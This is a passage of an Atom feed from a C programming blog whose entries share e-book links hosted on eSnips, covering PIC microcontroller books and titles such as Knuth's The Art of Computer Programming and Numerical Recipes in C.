<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3212903768842836920</id><updated>2012-02-15T11:20:40.307-08:00</updated><category term='Structures'/><category term='datatypes'/><category term='hardware interaction through c'/><category term='E books'/><category term='c on unix'/><category term='Data Structures'/><category term='Multimedia'/><category term='try them out'/><category term='JAVA'/><category term='interview questions'/><category term='graphics'/><category term='Mini Project'/><category term='Pointers'/><category term='try them out USER REPLIES'/><category term='Basics'/><category term='Programs'/><category term='general'/><category term='objective type questions'/><category term='advanced c'/><category term='microcontroller'/><category term='other tricks'/><category term='faqs'/><category term='hacks'/><category term='tips'/><category term='concepts'/><category term='puzzles'/><category term='objective C'/><category term='mathematics'/><category term='Memory'/><category term='courses / tutorials'/><category term='intersting'/><category term='Downloads'/><category term='preprocessor'/><category term='embedded c'/><category term='C Programming Lab Assignments'/><category term='papers'/><category term='different programs'/><category term='database'/><title type='text'>C Programming</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default?start-index=101&amp;max-results=100'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>551</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-8152235141880924503</id><published>2011-03-24T15:05:00.001-07:00</published><updated>2011-03-24T15:05:11.094-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>PIC Microcontroller Project Book, Second Edition; John Iovine (TAB, 2004</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/178823b2-36ab-4586-b5db-143ba14e5f21/PIC-Microcontroller-Project-Book,-Second-Edition;-John-Iovine-(TAB,-2004)/?widget=documentIcon"&gt;&lt;img border="0" alt="PIC Microcontroller Project Book, Second Edition; John Iovine (TAB, 2004)" title="click to ViewPIC Microcontroller Project Book, Second Edition; John Iovine (TAB, 2004)" src="/images/thumbs/any.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/178823b2-36ab-4586-b5db-143ba14e5f21/PIC-Microcontroller-Project-Book,-Second-Edition;-John-Iovine-(TAB,-2004)/?widget=documentIcon"&gt;PIC Microcontrolle...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-8152235141880924503?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/8152235141880924503/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/pic-microcontroller-project-book-second.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8152235141880924503'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8152235141880924503'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/pic-microcontroller-project-book-second.html' title='PIC Microcontroller Project Book, Second Edition; John Iovine (TAB, 2004'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-8197747965710987368</id><published>2011-03-24T15:03:00.001-07:00</published><updated>2011-03-24T15:03:24.443-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>PIC_Microcontrollers_50_Projects_for_Beginners_and_Experts</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/d81a7465-a1d2-420e-bd10-a6d173c14a50/PIC_Microcontrollers_50_Projects_for_Beginners_and_Experts/?widget=documentIcon"&gt;&lt;img border="0" alt="PIC_Microcontrollers_50_Projects_for_Beginners_and_Experts" title="click to ViewPIC_Microcontrollers_50_Projects_for_Beginners_and_Experts" src="/images/thumbs/any.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/d81a7465-a1d2-420e-bd10-a6d173c14a50/PIC_Microcontrollers_50_Projects_for_Beginners_and_Experts/?widget=documentIcon"&gt;PIC_Microcontrolle...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-8197747965710987368?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/8197747965710987368/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/picmicrocontrollers50projectsforbeginne.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8197747965710987368'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8197747965710987368'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/picmicrocontrollers50projectsforbeginne.html' title='PIC_Microcontrollers_50_Projects_for_Beginners_and_Experts'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-5789033780627151657</id><published>2011-03-24T15:02:00.001-07:00</published><updated>2011-03-24T15:02:32.435-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>PIC Microcontrollers Tutorial</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/09b124c6-6c62-4928-bfa9-0eba85991560/PIC-Microcontrollers-Tutorial/?widget=documentIcon"&gt;&lt;img border="0" alt="PIC Microcontrollers Tutorial" title="click to ViewPIC Microcontrollers Tutorial" src="/images/thumbs/any.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/09b124c6-6c62-4928-bfa9-0eba85991560/PIC-Microcontrollers-Tutorial/?widget=documentIcon"&gt;PIC Microcontrolle...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-5789033780627151657?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/5789033780627151657/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/pic-microcontrollers-tutorial.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/5789033780627151657'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/5789033780627151657'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/pic-microcontrollers-tutorial.html' title='PIC Microcontrollers Tutorial'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-1810702150610168247</id><published>2011-03-24T15:00:00.001-07:00</published><updated>2011-03-24T15:00:08.567-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>All_Java_Programs_CoreJava</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/23a401be-3617-440d-8dc7-d264735529f5/All_Java_Programs_CoreJava/?widget=documentIcon"&gt;&lt;img border="0" alt="All_Java_Programs_CoreJava" title="click to ViewAll_Java_Programs_CoreJava" src="/images/thumbs/thumb.pdf.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/23a401be-3617-440d-8dc7-d264735529f5/All_Java_Programs_CoreJava/?widget=documentIcon"&gt;All_Java_Programs_...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-1810702150610168247?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/1810702150610168247/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/alljavaprogramscorejava.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/1810702150610168247'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/1810702150610168247'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/alljavaprogramscorejava.html' title='All_Java_Programs_CoreJava'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-6970532554005882874</id><published>2011-03-24T14:55:00.001-07:00</published><updated>2011-03-24T14:55:17.204-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>C Programming FundamentaL</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/822d5b0b-6cd8-485f-9ab9-6f272cb260b8/C-Programming-Fundamental/?widget=documentIcon"&gt;&lt;img border="0" alt="C Programming Fundamental" title="click to ViewC Programming Fundamental" src="/images/thumbs/any.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/822d5b0b-6cd8-485f-9ab9-6f272cb260b8/C-Programming-Fundamental/?widget=documentIcon"&gt;C Programming Fund...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-6970532554005882874?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/6970532554005882874/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/c-programming-fundamental.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6970532554005882874'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6970532554005882874'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/c-programming-fundamental.html' title='C Programming FundamentaL'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-3341711216930645050</id><published>2011-03-24T14:50:00.001-07:00</published><updated>2011-03-24T14:50:53.312-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Essential C</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/b8dd0bd8-c68e-40ff-8da1-e234f428f490/EssentialC/?widget=documentIcon"&gt;&lt;img border="0" alt="EssentialC" title="click to ViewEssentialC" src="/images/thumbs/thumb.pdf.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/b8dd0bd8-c68e-40ff-8da1-e234f428f490/EssentialC/?widget=documentIcon"&gt;EssentialC.pdf&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-3341711216930645050?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/3341711216930645050/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/essential-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3341711216930645050'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3341711216930645050'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/essential-c.html' title='Essential C'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-6764346718655626470</id><published>2011-03-24T14:49:00.001-07:00</published><updated>2011-03-24T14:49:03.803-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>The Art of Computer Programming Vol 4 - Knuth</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/cb099368-29e9-4074-9cd4-5520c5a722a8/The-Art-of-Computer-Programming-Vol-4---Knuth/?widget=documentIcon"&gt;&lt;img border="0" alt="The Art of Computer Programming Vol 4 - Knuth" title="click to ViewThe Art of Computer Programming Vol 4 - Knuth" src="/images/thumbs/thumb.pdf.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/cb099368-29e9-4074-9cd4-5520c5a722a8/The-Art-of-Computer-Programming-Vol-4---Knuth/?widget=documentIcon"&gt;The Art of Compute...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-6764346718655626470?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/6764346718655626470/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/art-of-computer-programming-vol-4-knuth.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6764346718655626470'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6764346718655626470'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/art-of-computer-programming-vol-4-knuth.html' title='The Art of Computer Programming Vol 4 - Knuth'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-8159330405335299066</id><published>2011-03-24T14:47:00.001-07:00</published><updated>2011-03-24T14:47:02.375-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Algorithms and Complexity - Wilf</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/192c8dfd-dd60-40ac-a522-ed8cbb83b1a6/Algorithms-and-Complexity---Wilf/?widget=documentIcon"&gt;&lt;img border="0" alt="Algorithms and Complexity - Wilf" title="click to ViewAlgorithms and Complexity - Wilf" src="/images/thumbs/thumb.pdf.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/192c8dfd-dd60-40ac-a522-ed8cbb83b1a6/Algorithms-and-Complexity---Wilf/?widget=documentIcon"&gt;Algorithms and Com...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-8159330405335299066?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/8159330405335299066/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/algorithms-and-complexity-wilf.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8159330405335299066'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8159330405335299066'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/algorithms-and-complexity-wilf.html' title='Algorithms and Complexity - Wilf'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-1789644378094633459</id><published>2011-03-24T14:45:00.001-07:00</published><updated>2011-03-24T14:45:19.724-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Numerical Recipes in C</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/9422f92a-20c2-4a1f-9ddf-15dcb9bc3a6f/Numerical-Recipes-in-C/?widget=documentIcon"&gt;&lt;img border="0" alt="Numerical Recipes in C" title="click to ViewNumerical Recipes in C" src="/images/thumbs/thumb.pdf.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/9422f92a-20c2-4a1f-9ddf-15dcb9bc3a6f/Numerical-Recipes-in-C/?widget=documentIcon"&gt;Numerical Recipes ...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-1789644378094633459?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/1789644378094633459/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/numerical-recipes-in-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/1789644378094633459'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/1789644378094633459'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/numerical-recipes-in-c.html' title='Numerical Recipes in C'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-5949612675853586093</id><published>2011-03-24T14:44:00.001-07:00</published><updated>2011-03-24T14:44:33.038-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>Introduction to Algorithms -  Corman</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; font-family:Arial, Helvetica, sans-serif; font-size:11px; padding:0px; border-width:1px; border-style:solid"&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td align="center" style="padding:5px"&gt;&lt;a href="http://www.esnips.com/doc/81bd69d9-6812-4559-8fb9-0adfd197724a/Introduction-to-Algorithms----Corman/?widget=documentIcon"&gt;&lt;img border="0" alt="Introduction to Algorithms -  Corman" title="click to ViewIntroduction to Algorithms -  Corman" src="/images/thumbs/thumb.pdf.gif"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-color:#FFFFFF;"&gt;&lt;td style="padding:5px" align="center"&gt;&lt;strong&gt;&lt;a style="color:#333333" href="http://www.esnips.com/doc/81bd69d9-6812-4559-8fb9-0adfd197724a/Introduction-to-Algorithms----Corman/?widget=documentIcon"&gt;Introduction to Al...&lt;/a&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="padding:5px; font-size:9px; color:#FFFFFF" valign="bottom"&gt;Hosted by &lt;a href="http://www.esnips.com" style="color:#FFFFFF"&gt;eSnips&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-5949612675853586093?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/5949612675853586093/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/introduction-to-algorithms-corman.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/5949612675853586093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/5949612675853586093'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/introduction-to-algorithms-corman.html' title='Introduction to Algorithms -  Corman'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-7476181739788812597</id><published>2011-03-24T14:43:00.001-07:00</published><updated>2011-03-24T14:43:31.703-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='E books'/><title type='text'>The Art of Computer Programming Vol2</title><content type='html'>&lt;table border="0" cellpadding="0" cellspacing="0" style="background-color:#5D7CBA; border-color: #353535; color:#0; 